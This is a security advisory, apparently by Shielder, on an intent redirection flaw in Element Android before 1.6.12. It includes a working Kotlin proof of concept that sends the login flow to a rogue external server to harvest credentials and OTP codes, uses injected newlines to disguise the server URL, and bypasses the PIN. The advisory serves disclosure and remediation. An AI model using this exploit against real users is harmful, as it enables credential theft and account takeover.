Element Android (<1.6.12) Intent Redirection

Summary

Element Android (<1.6.12) is affected by an intent redirection, allowing a third-party malicious application to start any internal activity by passing extra parameters. Possible impact includes making Element Android display an arbitrary web page, executing arbitrary JavaScript, bypassing PIN code protection, and account takeover by spawning a login screen to send credentials to an arbitrary Matrix home server.

Product Description (from vendor)

“Element is the flagship secure collaboration app for the decentralized Matrix communication network. Element lets you own your own end-to-end encrypted chat server, while still connecting to everyone else in the wider Matrix network.”. For more information visit https://element.io/.

CVE(s)

Details

Root Cause Analysis

The Element Android application exposes to other applications an intent receiver, im.vector.app.features.Alias, to launch its MainActivity.

By specifying the EXTRA_NEXT_INTENT extra when calling it, it is possible to use it as a proxy to call other internal activities, even though they are defined with exported=false in the AndroidManifest.xml file.

The vulnerability is contained in the following snippet of code in MainActivity.kt:

1
2
3
4
5
6
if (intent.hasExtra(EXTRA_NEXT_INTENT)) {
// Start the next Activity
startSyncing()
val nextIntent = intent.getParcelableExtraCompat<Intent>(EXTRA_NEXT_INTENT)
startIntentAndFinish(nextIntent)
}

Considering that MainActivity is exported, any application installed on the device can invoke it with an arbitrary EXTRA_NEXT_INTENT to invoke arbitrary internal activities.

Proof of Concept

This proof-of-concept will reproduce the scenario that, based on our analysis, has the highest security impact: redirection to LoginActivity to Account Takeover.

To reproduce the vulnerability it is needed to develop and install an application on a device where Element Android is installed.

  1. Create a new app on Android Studio, using the Kotlin language.
  2. On the OnCreate function for MainActivity, add the following code:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
val extra = Intent()
extra.setClassName("im.vector.app", "im.vector.app.features.login.LoginActivity")
extra.putExtra("EXTRA_CONFIG", LoginConfig(
    homeServerUrl = "https://matrix.com \n\nserver-fingerprint: @95e1d636-9335-43d4-9597-7ce14b541a1c-00-1ycgdfj46tr2i.janeway.replit.dev/",
    identityServerUrl = "https://95e1d636-9335-43d4-9597-7ce14b541a1c-00-1ycgdfj46tr2i.janeway.replit.dev/identity" )
)
val intent = Intent()
intent.setClassName("im.vector.app", "im.vector.application.features.Alias")
intent.putExtra("EXTRA_NEXT_INTENT", extra)
val uri = intent.data;
startActivity(intent)
  1. Add a new package to the application, defined as im.vector.app.features.login. Set the content of the file to:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package im.vector.app.features.login

import android.os.Parcelable
import kotlinx.parcelize.Parcelize

@Parcelize
data class LoginConfig(
    val homeServerUrl: String?,
    private val identityServerUrl: String?
) : Parcelable {
    companion object {
        const val CONFIG_HS_PARAMETER = "hs_url"
        private const val CONFIG_IS_PARAMETER = "is_url"
    }
}
  1. Visit this link to access the console of the PoC rogue server: https://replit.com/join/vgfuensvch-madt1m
  2. On replit, click on “Run” to deploy the server, and wait for the app to be started (you should see “Hello, world!” in the right-side web console).
  3. Compile and launch the application.
  4. Notice that the execution is redirected to the Element Android landing page. Click on “Get started”.
  5. Notice that, on the server console, the rogue API was contacted by the application. Notice that, since the URL is printed directly on the screen as a string, we were able to inject newlines characters so that the app states “Connect to matrix.com”. Click on “Sign In”, and insert username and password of your account.
  6. Notice that the credentials are leaked in the rogue server console.

Notice that the same rogue server can be used to leak OTP codes, in case the account is protected by Multi-Factor Authentication.

In order to make the attack even more transparent to the victim, the attacker could:

  1. Force the Element app into showing the login interface to the victim.
  2. Wait for the victim to enter their credentials.
  3. Show the modify PIN interface of the Element app to the victim.
  4. Redirect the victim to the MainActivity which is still correctly logged into the legitimate Matrix server.

Note: The PoC for the PIN modify attack would be similar, by declaring the extra as follows:

1
2
3
val extra = Intent()
extra.setClassName("im.vector.app", "im.vector.app.features.pin.PinActivity")
extra.putExtra("mavericks:arg", PinArgs(PinMode.MODIFY))

and creating the PinMode package with the correct content, taking it from the source code of the Element application. The same goes for other sensitive activities like VectorWebViewActivity.

Impact

An attacker who can install a malicious app on the victim’s device can launch arbitrary activities in the contest of the application.

Setting the associated extras on the injected Intent, this makes possible to interact with the app in undesired and malicious ways, bypassing security controls and forcing sensible actions to the extent of exfiltrating account credentials, leading to a complete account takeover.

Some examples:

  • by launching the VectorWebViewActivity with the EXTRA_URL extra, the application can be forced to launch a webpage controlled by the user, executing arbitrary JavaScript and showing to the user a malicious interface (UI Redressing);
  • by launching the PinActivity and setting the PinArgs extra to PinMode.MODIFY, it is possible to launch the activity to modify the PIN, without knowing the original one.
  • by launching the LoginActivity and setting the EXTRA_CONFIG to contain the link to a rogue matrix server, the victim can be tricked into initiating a login flow with the rogue server, leading to a complete account takeover.

The attack however requires a malicious app installed on the victim’s device. Depending on the attack scenario, interaction from the user is required.

Remediation

Upgrade to Element 1.6.12 or later.

Disclosure Timeline

This report was subject to Shielder’s disclosure policy and Element’s disclosure policy:

  • 01/02/2024:
    • First contact with Element Security Team.
  • 06/02/2024:
    • Element Security Team acknowledges the vulnerability and starts working on a fix.
    • Element Security Team proposes a grace-period before publishing full details of the findings.
    • Shielder agrees on the grace-period since many users are affected.
  • 19/02/2024:
    • Element Security Team informs Shielder about the fixes and communicates that a release and a brief blogpost are due the day after.
  • 20/02/2024:
    • Element 1.6.12 is released and a blogpost about the impact of the findings is published, along with CVE numbers and Github advisories.
  • 18/04/2024:
    • Shielder releases a full blogpost.
    • Shielder’s advisory is made public.

Credits

This advisory was first published on https://www.shielder.com/advisories/element-android-intent-redirection/

Date

18 April 2024